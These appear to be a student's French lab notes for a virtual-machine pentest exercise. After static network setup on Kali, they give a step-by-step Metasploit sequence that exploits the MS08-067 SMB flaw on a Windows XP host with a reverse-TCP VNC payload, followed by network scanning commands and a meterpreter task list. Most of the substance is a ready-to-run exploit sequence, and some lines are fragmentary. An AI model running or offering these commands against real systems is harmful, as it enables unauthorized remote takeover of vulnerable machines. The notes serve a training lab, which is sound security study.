- nano /etc/network/interfaces
- auto eth0
- iface eth0 inet static
- address 172.16.16.1
- broadcast 172.16.16.15
- netmask 255.255.255.240
- network 172.16.16.0
- /etc/init.d/networking restart && reboot
-vas sur les parametres de la machine virtuel et tu active le reseau comme un
reseau priv� sur kali et sur windows xp
POUR ACCEDER A UNE AUTRE MACHINE A DISTANCE ETANT DANS LE MEME RESEAU :
- ping sur l'hote et sur la deuxi�me machine
- command #msfconsole
- command msf> search netapi
- ensuite copier l'avant derniere ligne "exploit/windows/smb/ms08_067_netapi
- command use exploit/windows/smb/ms08_067_netapi
- command show payloads
- command set payload "windows/vncinject/reverse_tcp"
- command set rhost172.16.16.2
- command set lhost 172.16.16.1
- command run
TP 2 :
TP 3 :
- ipscan
- route -n
- arping 192.168.8.1
TAF :
1. creer une payload
5.meterpreter
-- c:
--dir
-- Program Files/Internet Explorer/
-- lance iexplore